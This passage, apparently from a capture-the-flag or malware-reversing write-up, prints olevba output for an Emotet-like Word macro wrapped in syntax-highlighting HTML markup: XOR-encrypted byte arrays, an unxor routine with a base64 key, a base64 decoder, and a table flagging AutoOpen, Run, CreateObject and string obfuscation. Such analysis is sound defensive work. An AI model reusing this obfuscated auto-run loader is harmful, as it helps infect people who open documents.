class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 162<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 45<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 132<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 221<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 55<span class=\"token punctuation\">,</span> 34<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 243<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 146<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 1045<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>221<span class=\"token punctuation\">,</span> 59<span class=\"token punctuation\">,</span> 115<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 169<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 171<span class=\"token punctuation\">,</span> 5<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 119<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 107<span class=\"token punctuation\">,</span> 4<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 132<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 255<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 24<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 64<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 130<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 231<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 251<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 234<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 4<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 226<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 129<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 64<span class=\"token punctuation\">,</span> 161<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 62<span class=\"token punctuation\">,</span> 224<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 191<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 120<span class=\"token punctuation\">,</span> 130<span class=\"token punctuation\">,</span> 17<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 154<span class=\"token punctuation\">,</span> 190<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 154<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 62<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 51<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 229<span class=\"token punctuation\">,</span> 116<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 1134<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>250<span class=\"token punctuation\">,</span> 244<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 17<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 212<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 122<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 204<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 166<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 221<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 63<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 73<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 119<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 67<span class=\"token punctuation\">,</span> 73<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 162<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 209<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 160<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 191<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 132<span class=\"token punctuation\">,</span> 42<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 107<span class=\"token punctuation\">,</span> 188<span class=\"token punctuation\">,</span> 42<span class=\"token punctuation\">,</span> 221<span class=\"token punctuation\">,</span> 194<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 107<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 104<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 188<span class=\"token punctuation\">,</span> 119<span class=\"token punctuation\">,</span> 207<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 251<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 14<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 61<span class=\"token punctuation\">,</span> 115<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 57<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 178<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 246<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 1223<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>214<span class=\"token punctuation\">,</span> 95<span class=\"token punctuation\">,</span> 231<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 235<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 206<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 68<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 68<span class=\"token punctuation\">,</span> 43<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 63<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 64<span class=\"token punctuation\">,</span> 222<span class=\"token punctuation\">,</span> 22<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 1312<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">End</span> Sub\n\nPublic <span class=\"token keyword\">Function</span> Base64Decode<span class=\"token punctuation\">(</span>ByVal s As String<span class=\"token punctuation\">)</span> As Byte<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n   <span class=\"token keyword\">If</span> Not InitDone Then Init\n   Dim IBuf<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> As Byte: IBuf = ConvertStringToBytes<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">)</span>\n   Dim ILen As Long: ILen = UBound<span class=\"token punctuation\">(</span>IBuf<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> 1\n   <span class=\"token keyword\">If</span> ILen Mod 4 &lt;> 0 Then Err<span class=\"token punctuation\">.</span>Raise vbObjectError<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">,</span> <span class=\"token string\">\"\"</span>\n   <span class=\"token keyword\">Do</span> <span class=\"token keyword\">While</span> ILen > 0\n      <span class=\"token keyword\">If</span> IBuf<span class=\"token punctuation\">(</span>ILen <span class=\"token operator\">-</span> 1<span class=\"token punctuation\">)</span> &lt;> Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"=\"</span><span class=\"token punctuation\">)</span> Then <span class=\"token keyword\">Exit</span> <span class=\"token keyword\">Do</span>\n      ILen = ILen <span class=\"token operator\">-</span> 1\n      Loop\n   Dim OLen As Long: OLen = <span class=\"token punctuation\">(</span>ILen <span class=\"token operator\">*</span> 3<span class=\"token punctuation\">)</span> \\ 4\n   Dim Out<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> As Byte\n   ReDim Out<span class=\"token punctuation\">(</span>0 To OLen <span class=\"token operator\">-</span> 1<span class=\"token punctuation\">)</span> As Byte\n   Dim ip As Long\n   Dim op As Long\n   <span class=\"token keyword\">Do</span> <span class=\"token keyword\">While</span> ip &lt; ILen\n      Dim i0 As Byte: i0 = IBuf<span class=\"token punctuation\">(</span>ip<span class=\"token punctuation\">)</span>: ip = ip <span class=\"token operator\">+</span> 1\n      Dim i1 As Byte: i1 = IBuf<span class=\"token punctuation\">(</span>ip<span class=\"token punctuation\">)</span>: ip = ip <span class=\"token operator\">+</span> 1\n      Dim i2 As Byte: <span class=\"token keyword\">If</span> ip &lt; ILen Then i2 = IBuf<span class=\"token punctuation\">(</span>ip<span class=\"token punctuation\">)</span>: ip = ip <span class=\"token operator\">+</span> 1 <span class=\"token keyword\">Else</span> i2 = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token punctuation\">)</span>\n      Dim i3 As Byte: <span class=\"token keyword\">If</span> ip &lt; ILen Then i3 = IBuf<span class=\"token punctuation\">(</span>ip<span class=\"token punctuation\">)</span>: ip = ip <span class=\"token operator\">+</span> 1 <span class=\"token keyword\">Else</span> i3 = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">If</span> i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _\n         Err<span class=\"token punctuation\">.</span>Raise vbObjectError<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">,</span> <span class=\"token string\">\"\"</span>\n      Dim b0 As Byte: b0 = Map2<span class=\"token punctuation\">(</span>i0<span class=\"token punctuation\">)</span>\n      Dim b1 As Byte: b1 = Map2<span class=\"token punctuation\">(</span>i1<span class=\"token punctuation\">)</span>\n      Dim b2 As Byte: b2 = Map2<span class=\"token punctuation\">(</span>i2<span class=\"token punctuation\">)</span>\n      Dim b3 As Byte: b3 = Map2<span class=\"token punctuation\">(</span>i3<span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">If</span> b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _\n         Err<span class=\"token punctuation\">.</span>Raise vbObjectError<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">,</span> <span class=\"token string\">\"\"</span>\n      Dim o0 As Byte: o0 = <span class=\"token punctuation\">(</span>b0 <span class=\"token operator\">*</span> 4<span class=\"token punctuation\">)</span> Or <span class=\"token punctuation\">(</span>b1 \\ &amp;H10<span class=\"token punctuation\">)</span>\n      Dim o1 As Byte: o1 = <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>b1 And &amp;HF<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> &amp;H10<span class=\"token punctuation\">)</span> Or <span class=\"token punctuation\">(</span>b2 \\ 4<span class=\"token punctuation\">)</span>\n      Dim o2 As Byte: o2 = <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>b2 And 3<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> &amp;H40<span class=\"token punctuation\">)</span> Or b3\n      Out<span class=\"token punctuation\">(</span>op<span class=\"token punctuation\">)</span> = o0: op = op <span class=\"token operator\">+</span> 1\n      <span class=\"token keyword\">If</span> op &lt; OLen Then Out<span class=\"token punctuation\">(</span>op<span class=\"token punctuation\">)</span> = o1: op = op <span class=\"token operator\">+</span> 1\n      <span class=\"token keyword\">If</span> op &lt; OLen Then Out<span class=\"token punctuation\">(</span>op<span class=\"token punctuation\">)</span> = o2: op = op <span class=\"token operator\">+</span> 1\n      Loop\n   Base64Decode = Out\n   <span class=\"token keyword\">End</span> <span class=\"token keyword\">Function</span>\n\nPrivate Sub Init<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n   Dim c As Integer<span class=\"token punctuation\">,</span> i As Integer\n   i = 0\n   <span class=\"token keyword\">For</span> c = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token punctuation\">)</span> To Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"Z\"</span><span class=\"token punctuation\">)</span>: Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = c: i = i <span class=\"token operator\">+</span> 1: Next\n   <span class=\"token keyword\">For</span> c = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"a\"</span><span class=\"token punctuation\">)</span> To Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"z\"</span><span class=\"token punctuation\">)</span>: Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = c: i = i <span class=\"token operator\">+</span> 1: Next\n   <span class=\"token keyword\">For</span> c = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"0\"</span><span class=\"token punctuation\">)</span> To Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"9\"</span><span class=\"token punctuation\">)</span>: Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = c: i = i <span class=\"token operator\">+</span> 1: Next\n   Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"+\"</span><span class=\"token punctuation\">)</span>: i = i <span class=\"token operator\">+</span> 1\n   Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"/\"</span><span class=\"token punctuation\">)</span>: i = i <span class=\"token operator\">+</span> 1\n   <span class=\"token keyword\">For</span> i = 0 To 127: Map2<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> = 255: Next\n   <span class=\"token keyword\">For</span> i = 0 To 63: Map2<span class=\"token punctuation\">(</span>Map1<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> = i: Next\n   InitDone = True\n   <span class=\"token keyword\">End</span> Sub\n   \nPrivate <span class=\"token keyword\">Function</span> ConvertStringToBytes<span class=\"token punctuation\">(</span>ByVal s As String<span class=\"token punctuation\">)</span> As Byte<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n   Dim b1<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> As Byte: b1 = s\n   Dim l As Long: l = <span class=\"token punctuation\">(</span>UBound<span class=\"token punctuation\">(</span>b1<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> 1<span class=\"token punctuation\">)</span> \\ 2\n   <span class=\"token keyword\">If</span> l = 0 Then ConvertStringToBytes = b1: <span class=\"token keyword\">Exit</span> <span class=\"token keyword\">Function</span>\n   Dim b2<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> As Byte\n   ReDim b2<span class=\"token punctuation\">(</span>0 To l <span class=\"token operator\">-</span> 1<span class=\"token punctuation\">)</span> As Byte\n   Dim p As Long\n   <span class=\"token keyword\">For</span> p = 0 To l <span class=\"token operator\">-</span> 1\n      Dim c As Long: c = b1<span class=\"token punctuation\">(</span>2 <span class=\"token operator\">*</span> p<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> 256 <span class=\"token operator\">*</span> CLng<span class=\"token punctuation\">(</span>b1<span class=\"token punctuation\">(</span>2 <span class=\"token operator\">*</span> p <span class=\"token operator\">+</span> 1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">If</span> c >= 256 Then c = Asc<span class=\"token punctuation\">(</span><span class=\"token string\">\"?\"</span><span class=\"token punctuation\">)</span>\n      b2<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">)</span> = c\n      Next\n   ConvertStringToBytes = b2\n   <span class=\"token keyword\">End</span> <span class=\"token keyword\">Function</span>\n\n\nPrivate <span class=\"token keyword\">Function</span> unxor<span class=\"token punctuation\">(</span>ciphertext As Variant<span class=\"token punctuation\">,</span> <span class=\"token function\">start</span> As Integer<span class=\"token punctuation\">)</span>\n    Dim cleartext As String\n    Dim key<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> As Byte\n    key = Base64Decode<span class=\"token punctuation\">(</span><span class=\"token string\">\"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl\"</span> &amp; _\n<span class=\"token string\">\"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9\"</span> &amp; _\n<span class=\"token string\">\"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n\"</span> &amp; _\n<span class=\"token string\">\"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==\"</span><span class=\"token punctuation\">)</span>\n    cleartext = <span class=\"token string\">\"\"</span>\n    <span class=\"token keyword\">For</span> i = LBound<span class=\"token punctuation\">(</span>ciphertext<span class=\"token punctuation\">)</span> To UBound<span class=\"token punctuation\">(</span>ciphertext<span class=\"token punctuation\">)</span>\n        cleartext = cleartext &amp; Chr<span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">(</span>i <span class=\"token operator\">+</span> <span class=\"token function\">start</span><span class=\"token punctuation\">)</span> Xor ciphertext<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    Next\n    unxor = cleartext\n<span class=\"token keyword\">End</span> <span class=\"token keyword\">Function</span>\n\n\n<span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">-</span>\nVBA MACRO ThisDocument \nin file: <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>rev-emoemotet/emoemotet<span class=\"token punctuation\">.</span>doc <span class=\"token operator\">-</span> OLE stream: <span class=\"token string\">'ThisDocument'</span>\n<span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> \n<span class=\"token punctuation\">(</span>empty macro<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">-</span><span class=\"token operator\">+</span>\n<span class=\"token punctuation\">|</span><span class=\"token function\">Type</span>      <span class=\"token punctuation\">|</span>Keyword             <span class=\"token punctuation\">|</span>Description                                  <span class=\"token punctuation\">|</span>\n<span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">-</span><span class=\"token operator\">+</span>\n<span class=\"token punctuation\">|</span>AutoExec  <span class=\"token punctuation\">|</span>AutoOpen            <span class=\"token punctuation\">|</span>Runs when the Word document is opened        <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>Suspicious<span class=\"token punctuation\">|</span>Run                 <span class=\"token punctuation\">|</span>May run an executable file or a system       <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>          <span class=\"token punctuation\">|</span>                    <span class=\"token punctuation\">|</span>command                                      <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>Suspicious<span class=\"token punctuation\">|</span>CreateObject        <span class=\"token punctuation\">|</span>May create an OLE object                     <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>Suspicious<span class=\"token punctuation\">|</span>Chr                 <span class=\"token punctuation\">|</span>May attempt to obfuscate specific strings    <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>          <span class=\"token punctuation\">|</span>                    <span class=\"token punctuation\">|</span><span class=\"token punctuation\">(</span>use option <span class=\"token operator\">--</span>deobf to deobfuscate<span class=\"token punctuation\">)</span>          <span class=\"token punctuation\">|</span>\n<span 